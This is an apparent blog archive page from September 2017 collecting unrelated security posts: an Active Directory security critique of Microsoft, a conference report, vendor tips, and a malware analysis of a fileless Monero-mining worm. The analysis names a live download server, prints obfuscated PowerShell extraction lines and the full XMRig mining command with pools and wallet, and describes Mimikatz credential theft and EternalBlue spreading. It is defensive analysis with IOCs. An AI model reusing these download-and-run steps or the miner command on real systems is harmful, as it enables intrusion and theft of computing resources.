Monthly Archives: September 2017

Some Help & Good News for Microsoft regarding Active Directory Security


Folks,

You'll want to read this short blog post very carefully because it not only impacts Microsoft, it likely impacts you, as well as the foundational security of 85% of all business and government organizations worldwide, and it does so in a positive way.



A Quick and Short Background

From the White House to the Fortune 1000, Microsoft Active Directory is the very foundation of cyber security at over 85% of organizations worldwide. In fact, it is also the foundation of cyber security of almost every cyber security company worldwide.


Active Directory is the Foundation of Cyber Security Worldwide

The entirety of an organization's building blocks of cyber security, including the user accounts used by the entirety its workforce, as well as the user accounts of all its privileged users, the computer accounts of the entirety of its computers, and the security groups used to provision access to the entirety of its IT resources, are stored, managed and protected in Active Directory.

During the past few years, credential-theft attacks aimed at the compromise of an organization's privileged users (e.g. Domain Admins) have resulted in a substantial number of reported and unreported breaches at numerous organizations worldwide. In response, to help organizations combat the menace of these credential-theft attacks, Microsoft has had to make substantial enhancements to its Windows Operating Systems as well as acquire and introduce a technology called Microsoft ATA.

These enhancements have made it harder for perpetrators to find success with traditional credential-theft attacks, so they've started focusing their efforts on trying to find ways to attack the Active Directory itself, as evidenced by the fact that in the last year alone, we've seen the introduction of Mimikatz DCSync, BloodHound and recently the advent of Active Directory Botnets.

Make no mistake about it. There's no dearth of opportunity to find ways to exploit weaknesses in Active Directory deployments because there exists an ocean of access within Active Directory, and sadly due to an almost total lack of awareness, education, understanding and tooling, organizations have no idea as to exactly what lies within their Active Directory, particularly in regards to privileged access entitlements, and thus today there likely are 1000s of privilege escalation paths in most Active Directory deployments, waiting to be identified and exploited. All that perpetrators seem to lack today is the know-how and the tooling.

Unfortunately, since the cat's out of the bag, perpetrators seem to be learning fast, and building rapidly, so unless organizations act swiftly and decisively to adequately lock-down vast amount of access that currently exists in their foundational Active Directory deployments, sadly the next big wave of cyber breaches could involve compromise of Active Directory deployments.





Clearly, Microsoft Has No Answers

It gives me absolutely no pleasure to share with you that unfortunately, and sadly as always, Microsoft yet again seems to be playing catch-up, and in fact, it has no clue or any real answers, ideas or solutions to help organizations in this vital regard.


Here's Proof - Last week, on September 18, 2017, Microsoft's Advanced Threat Analytics (ATA) Team posted this -



If and when you read it, it will likely be unequivocally clear to you as to just how little Microsoft understands about not just the sheer depth and breadth of this monumental challenge, but about the sheer impact it could have on organizations worldwide!

You see, if you understand the subject of Active Directory Security well enough, then you know that Active Directory access control lists (ACLs) today don't just impact organizational security worldwide, they likely impact national and global security!

That said, in that post, the best Microsoft could do is concede that this could be a problem, wonder why organizations might ever need to change AdminSDHolder, falsely assume that it may not impact privileged users, praise a massively inaccurate tool for shedding light on this attack vector, and end by saying - "if you find a path with no obstacles, it probably leads somewhere."

Oh, and the very last thing they tell you that is their nascent ATA technology can detect AD multiple recon methods.


In contrast, here's what they should have said - "We care deeply about cyber security and we understand that left unaddressed, this could pose a serious cyber security risk to our customers. Be rest assured that Microsoft Active Directory is a highly robust and securable technology, and here's exactly how organizations can adequately and reliably identify and lock-down privileged access in their Active Directory deployments, leaving no room for perpetrators to identify and exploit any weaknesses."

The reason I say that should've been the response is because if you know enough about this problem, then you also know that it can actually be completely and sufficiently addressed, and that you don't need to rely on detection as a security measure.

BTW, to appreciate how little Microsoft seems to understand about this huge cyber security challenge, you'll want a yardstick to compare Microsoft's response with, so here it is (; you'll want to read the posts) - Active Directory Security School for Microsoft.



Er, I'm really sorry but you are Microsoft, a US$ 550 Billion corporation, not a kid in college. If the best you can do concerning such a profoundly important cyber security challenge is show how little you seem to know about and understand this problem, and only have detection to offer as a solution, frankly, that's not just disappointing, that's deeply concerning, to say the least.

Further, if this is how little you seem to understand about such a profoundly important cyber security challenge concerning your own technology, I cannot help but wonder how well your customers might actually be protected in your recent Cloud offering.





Fortunately There's Help and Good News For Microsoft

I may appear to be critical of Microsoft, and I do still believe that they ought to at least have educated their customers about this and this huge cyber security challenge, but I also love Microsoft, because I've been (at) Microsoft, so I'm going to help them.


To my former colleagues at Microsoft I say - "Each one of us at Microsoft are passionate, care deeply and always strive to do and be the best we can, and even though I may no longer be at Microsoft, (and I still can't believe how you missed this one), luckily and fortunately for you, we've got this covered, and we're going to help you out."

So, over the next few days, not only am I going to help reduce the almost total lack of awareness, education and understanding that exists at organizations today concerning Active Directory Security, I am also going to help organizations worldwide learn just how they can adequately and swiftly address this massive cyber security challenge before it becomes a huge problem.

Specifically, in days to come, as a part of our 30-Day Active Directory Security School, you can expect the following posts -


  1. What Constitutes a Privileged User in Active Directory

  2. How to Correctly Audit Privileged Users/Access in Active Directory

  3. How to Render Mimikatz DCSync Useless in an Active Directory Environment

  4. How to Easily Identify and Thwart Sneaky Persistence in Active Directory

  5. How to Easily Solve The Difficult Problem of Active Directory Botnets

  6. The World's Top Active Directory Permissions Analysis Tools (and Why They're Mostly Useless)

  7. The Paramount Need to Lockdown Access Privileges in Active Directory

  8. How to Attain and Maintain Least Privileged Access (LPA) in Active Directory

  9. How to Securely Delegate and Correctly Audit Administrative Access in Active Directory

  10. How to Easily Secure Active Directory and Operate a Bulletproof Active Directory Deployment

You see, each one of these Active Directory security focused objectives can be easily accomplished, but and in order to do so, what is required is the capability to accurately audit effective access in Active Directory. Sadly, let alone possessing this paramount cyber security capability, Microsoft doesn't even seem to have a clue about it.

Each one of these posts is absolutely essential for organizational cyber security worldwide, and if you know of even one other entity (e.g. individual, company etc.) on the planet that can help the world address each one of these today, do let me know.

So, over the next few days, I'll pen the above, and you'll be able to access them at the Active Directory Security Blog.

Until then, you may want to go through each one of the 20 days of posts that I've already shared there, as well as review this.



In fact, this cannot wait, so let us begin with the "actual" insight on Active Directory ACLs that all organizations worldwide must have today -


Together, we can help adequately secure and defend organizations worldwide and deny perpetrators the opportunities and avenues they seek to compromise our foundational Active Directory deployments, because we must and because we can.


Best wishes,
Sanjay

CEO, Paramount Defenses

Formerly Program Manager,
Active Directory Security,
Microsoft Corporation


PS: Microsoft, you're welcome. Also, I don't need anything from you, except a Thank you note.

Advanced ‘all in memory’ CryptoWorm

Introduction.

Today I want to share a nice Malware analysis having an interesting flow. The "interesting" adjective comes from the abilities the given sample owns. Capabilities of exploiting, hard obfuscations and usage of advanced techniques to steal credentials and run commands. 

The analyzed sample has been provided by a colleague of mine (Alessandro) who received the first stage by eMail. A special thanks to Luca and Edoardo for having recognized XMRig during the last infection stage.   

General View.

The following image shows the general view of the entire attack path. As you might appreciate from the picture, that flow could be considered a complex flow since many specific artifacts were included in the attack phases.  The initial stage starts by abusing the user inexperience taking him/her to click on a first stage file called  (in my case) y1.bat. Nowadays eMail vector is one of the most favorite vectors used by attackers and easily implemented to deliver malicious contents. Once the first stage is run, it downloads and executes a second stage file called info6.ps1: a heavy obfuscated PowerShell script which drops (by de-obfuscate it directly on body) three internal resources: 
  1. Mimikatz.dll. This module is used to steal user administrative credentials.
  2. Utilities. This module is used to scan internal networks in order to propagate the infection, it is used to run several internal utilities such as (but not limited to): de-obfuscation routines,  ordering arrays and running exploits. This module is also used to drop and execute an additional file (from the same server) named info.vbs.
  3. Exploits. This module is a set of known exploits such as eternalblue7_exploit and eternal_blue_powershell used from the initial stage of attack to infect internal machines .
Full Stage Attack Path

The last stage (info.vbs) drops and runs an executable file which has been recognized to be XMRig. XMRig is an open sourced Monero CPU Miner, freely available on github. The infection tries to propagate itself by scanning and attacking internal resources through the Exploit module, while the XMRig module mines Monero cryptocurrency giving to the attacker fresh "crypto money" by stealing victims resources. 

Analysis.

A romantic but still "working" .bat file is propagated to the victim by email or message. Once the user clicks on it, the .bat file would run the following command spawning a powershell able to download and run a script called info6.ps1 from http://118.184.48.95:8000/

Stage1: Downloads and Run 
The downloaded powershell file is clearly divided into two macro blocks both of them obfuscated. The following image shows the two visual sections which I am going to call them: "half up" (section before the "new line") and "half down" (section after the "new line").

Stage2: Two Visual Sections to be explored
While the "half up" section fairly appears to be a Base64 encoded text file, the "half down" section looks like encoded through a crafted function which, fortunately (and certain), appears in clear text at the end of such a file. By editing that function it is possible to modify the decoding process making it saving the decoded text file directly to a desired folder. The following image shows the decoded second stage "half dow" section.  

Decoded Second Stage "Half Down"
Analyzing the section code it would be easy to agree that the main used functions are dynamically extracted from the file itself, by performing a substring operations on the current content.


$funs=$fa.SubsTrIng(0,406492)

$mimi=$fa.sUBStrInG(406494,1131864)

$mon=$fa.suBstrING(1538360,356352)
$vcp=$fa.sUBStRiNG(1894714,880172)
$vcr=$fa.sUBstrINg(2774888,1284312)
$sc=$fa.sUBsTrinG(4059202)

  
The content of $fa variable and every function related to it is placed in the "half up" section which after being decoded looks like the following image.

Decoded Second Stage "Half Up"
The second stage "half up" code is borrowed from Kevin Robertson (Irken), the attacker reused many useful functionalities from Irken including the Invoke-TheHas routine which could be used through SMB to execute commands or to executes direct code having special rights. 

A surprisingly interesting line of code is found on the same stage (Second stage "half down"): NTLM= Get-creds mimi mimi  where the Get-creds function (coming from the Based64 decoded "half up") runs, by using the reflectoin techique, a DLL function. So by definition the mimi parameter has to be a DLL file included somewhere in the code. Let's grab it by running the following code: $fa.sUBStrInG(406494,1131864) Where 406494 is the start character and the 1131864 is the last character to be interpreted as a dynamic loaded library. Fortunately the dropped DLL is a well known library, widely used in penetration testing named Mimikatz. It would be clear that the attacker uses the Mimikatz library to grab user (and eventually administrators) passwords. Once the passwords stealing activity is done the Malware starts to scan internal networks for known vulnerabilities such as MS17/10. The identified exploits have been borrowed from tevora-thrat and woravit since same peace of codes, same comments and same variable names have been found. If the Malware finds vulnerability on local area networks it tries to infect the machine by injecting itself (info6.ps1) through EthernalBlue and then it begins its execution from the second Stage.

On the same thread the Malware drops and runs a .vbs file (Third Stage) and it gets persistence through WMIClass on service.

Introducing the Third Stage
 The info.vbs drops and executes from itself a compiled version of XMRIG renamed with the "mimetic" string: taskservice.exe.  Once the compiled PE file (XMRig) is placed in memory the new stage starts it by running the following commands.

Third Stage Execution of Monero Miner
The clear text Monero address is visible on the code. Unfortunately the Monero address is not trackable so far. 

Monero address: 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE

and the used server is: stratum+tcp://pool.supportxmr.com:80
w.run "%temp%\taskservice.exe  -B -o stratum+tcp://pool.supportxmr.com:80 -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE  -o stratum+tcp://mine.xmrpool.net:80  -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE -o stratum+tcp://pool.minemonero.pro:80   -u  46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE -p x" ,0
Many interesting other sections should be analyzed but for now lets stop here.

IOC.

Please find some of the most interesting IoC for you convenience.

- URL: http://118.184.48.95:8000/
- Monero Address: 46CJt5F7qiJiNhAFnSPN1G7BMTftxtpikUjt8QXRFwFH2c3e1h6QdJA5dFYpTXK27dEL9RN3H2vLc6eG2wGahxpBK5zmCuE
- Sha256: 19e15a4288e109405f0181d921d3645e4622c87c4050004357355b7a9bf862cc
- Sha256: 038d4ef30a0bfebe3bfd48a5b6fed1b47d1e9b2ed737e8ca0447d6b1848ce309

Conclusion.

We are facing one of the first complex delivery of cryptocoin mining Malware. Everybody knows about CryptoMine, BitCoinMiner and Adylkuzz Malware which basically dropped on the target machine a BitCoin Miner, so if you are wondering: Why Marco do you write: "one of the first Malware" ? Well actually I wrote one of the "first complex" delivery. Usual coins Malware are delivered with no propagation modules, with no exploiting module and with not file-less techniques. In fact, the way this Monero CPU Miner has been delivered, includes advanced methodologies of memory inflation, where the unpacked Malware is not saved on Hard Drive (a technique to bypass some Anti Virus) but it is inflated directly on memory and called directly from memory itself. 

We can consider this Malware as a last generation of -all in memory- CryptoWorm. 

Another interesting observation, at least on my personal point of view, comes from the first stage. Why the attacker included this useless stage ? It appears to be not useful at all, it's a mere dropper wth no controls nor evasions. The attacker could have delivered just the second stage within the first stage in it, assuring a more stealth network fingerprint. So why the attacker decided to deliver the CryptoWorm through the first stage ? Maybe the first stage is part of a bigger framework ? Are we facing a new generation of Malware Generator Kits ? 

I wont really answering to such a questions right now, but contrary I'd like to take my readers thinking about it.

Have fun

4th Annual Cyber Security Conference for Executives

Cyber Security for Executives (including deans and small business owners).

This year’s conference at the Johns Hopkins University covered ground of interest to business leaders, especially with respect to the implications cyber risk has for their legal and contracting activities. The executives for whom the conference was organized were expansively and quite properly defined to include not just the denizens of a Fortune 500 C-suite, but small business owners, partners in medical and accounting practices, college deans, and so on.

In his opening remarks, Anton Dahbura, Director of the Information Security Institute at the Johns Hopkins University’s Whiting School of Engineering, reviewed his “Unlucky Top 13” list, an inventory of recent security horror-shows. He thinks these incidents (the Equifax breach being the one that’s arrived with most éclat) may have induced the public to pay attention, and may finally be moving people away from what Dahbura called “the gazelle mentality,” that is, the comforting thought that if you stay close to the herd, you’ll be OK. (You won’t.)

Other speakers discussed the opportunity costs sound security inevitably imposes on organizations. One new addition to the faculty at the Johns Hopkins School of Advanced International Studies, Thomas Rid (who’d just arrived from his previous appointment in London) offered an overview of the attribution challenge. Historically informed, Rid’s account argued that attribution is as much art as science. A panel of legal experts offered advice for businesses. (One highlight: Whiteford Taylor Preston’s Howard Feldman reminded everyone of the importance of contracts, and that you may be bound by contracts you hadn’t realized were contracts at all. “Your privacy policy, on your website, is a contract.”)

And Bob Olsen, CEO of event sponsor COMPASS Cyber Security, closed with some effective analogies security professionals can use to communicate with the business leaders they support.

Strategic perspective from US Cyber Command.

Guy Walsh, Brigadier General (retired), US Air Force, and currently responsible for strategic initiatives at US Cyber Command, delivered the conference’s opening keynote. He began with a quick observation about Equifax, saying that the incident should serve as a reminder that it can take time to patch and address known vulnerabilities.

He described the emergence of cyberspace as a fifth operational domain, joining land, sea, air, and space, and he described US Cyber Command as a warfighting organization recently elevated in status and sharply distinguished in its mission from the National Security Agency.

Walsh reviewed some Air Force history, and claimed that the first insider hack of the USAF was done in 1963, by John Boyd, the leading thinker of the Fighter Mafia. Boyd is more familiar as the officer who formulated the concept of the OODA loop, the cycle of Observe, Orient, Decide, and Act that he outlined in his Discourse on Winning and Losing. Boyd argued that if one could execute that cycle faster than one’s adversary, “get inside their OODA loop,” one would have a decisive advantage in combat. Getting inside the OODA loop, Walsh argued, was as important in cyberspace as it was in air-to-air combat.

After describing Buckshot Yankee, a Russian attack against US Central Command with Agent BZT, Walsh outlined the strategic adversaries the US faces. They are, as many others have said, Russia, China, North Korea, Iran, and terrorists. In this threat environment Cyber Command operates National Mission Forces, Combat Mission Forces, Cyber Protection Forces, and, against ISIS, Joint Task Force Ares.

One trend and two observations Walsh made have implications for most enterprises, not just Cyber Command. The trend he sees is that big data and artificial intelligence will change the dynamic in cyberspace. His two observations with broader implications were, first, the point that retaliation against cyber attack need not be exclusively or primarily cyber retaliation. It may not need to be cyber retaliation at all. And second, when he described the three major Cyber Command exercises (Cyber Flag, Cyber Guard, and Cyber Knight) he said they took their inspiration from Red Flag, the Air Force’s realistic training against a dissimilar adversary opposing force. Like Red Flag, these exercises have been vital in increasing readiness and capability.

The risk landscape as seen from the perspective of the healthcare sector.

Stephanie Reel (CIO, the Johns Hopkins University Health Systems) brought the perspective of a healthcare organization (and a “hybrid organziation”) to the discussion. She claimed that healthcare has surpassed financial services as the most-targeted sector. In some ways the sector’s modernization has increased its vulnerabilities. Unification and aggregation of data have exposed the sector to “unintentional negligence among the players.” That unification is striking: about 60% of patient data in the United States is currently held by a single vendor.

With greater risk has come more spending on security, and Reel pointed out that this is not only a direct expense, but it imposes opportunity costs as well. “Money spent on security is not being spent to cure disease,” she said, nor is it being used to improve public health. But the reality of the threat requires that security be addressed. Ransomware has been a particular problem for healthcare, Reel said as she reviewed their own experience with the Medstar incident of 2016.  Medical care and patient safety require that digitized records and networked devices have high availability, and it’s that availability that ransomware attacks. Direct manipulation of medical devices themselves (“still sort of science fiction; we haven’t seen it at Johns Hopkins”) also remains a very real threat, although not yet a common one.

Reel seconded Dahbura’s call for a national conversation about an identification system, and, although she feared that people were too ready to concede defeat on identity management, still closed on a hopeful note. She thought the tensions a hybrid organization like hers faces among the competing claims of security, operations, healthcare, research, and education could ultimately be resolved.

For the full article, visit The CyberWire. If you would like to be informed about next year’s event, please CONTACT US.

This is an excerpt from an article originally written by The CyberWire

The Encryption That Businesses Need, But CISOs Forget About

 By Joseph Steinberg  CEO, SecureMySocial JosephSteinberg

 

Many businesspeople put their firms’ data at risk because they fail to understand several important concepts about encryption. Simply understanding that data can be protected from unauthorized parties by encrypting it is insufficient to deliver security; in order to secure information people must know when needs to be secured, and must actually encrypt accordingly.

Why Your Data Security Strategy Should Include Data Masking

 

Data Masking/Tokenization/Anonymization replaces sensitive information with fictitious data while retaining the original data format. The data masking process lets you continue to work with your data as if it were not encrypted. Databases, business applications and collaboration software continue to work as if the data was real, but unauthorized personnel only have access to the fake data and can’t extract meaningful sensitive information.

COMPASS Cyber Security Mobile Application

As a part of COMPASS Cyber Security’s ongoing commitment to raising cyber security awareness in the community, we are excited to announce the launch of our very own mobile application! By downloading this app, users will be provided with real-time cyber security threat alerts, best practice tips, and applicable guidance, so they can be prepared for the cyber security risks they may face. It is COMPASS’ mission to “shift the world’s data to be safe and secure” and this app is a testament to that by offering businesses and consumers valuable content they can use to protect their data.

Download the COMPASS Cyber Security app in the iTunes and Google Play stores to begin improving your cyber security posture!

Back to School Cyber Security

As schools open their doors for a new academic year, it is evident that education is becoming increasingly dependent on technology.  As a result, cyber security is a critically important component to the risk management strategies in schools.

Having worked with dozens of schools internationally, COMPASS understands the unique threats they face. Fall is the best time to set the tone for your school’s cyber security posture, here is how:

  • Perform a risk assessment of your school’s IT infrastructure to identify critical vulnerabilities and remediate them.
  • Segment your network so if one part of your network is compromised, it does not affect the integrity of the rest of your network. For example, put students on a network separate from the faculty and staff.
  • Limit the number of privileged users to only administrators with a legitimate need as defined by management protocol.
  • Implement quarterly cyber security awareness training. It is important that the faculty as well as the students are cognizant of cyber best practices so they have a strong digital safety background.
  • Review all policies to make sure they are current with the technologies and procedures within your organization.
  • Conduct a security configuration review of the central image from which all of the faculty devices are copied to provide maximum security.

With a variety of diverse user profiles traversing the network and a treasure trove of sensitive personal and financial information, it is often difficult to balance cyber security in an open learning environment. However, by implementing these cyber security strategies in your school you will greatly reduce your risk of an incident.

For more information on school security, download our Back to School Security Guide. To discuss your school’s unique cyber security posture please, CONTACT US.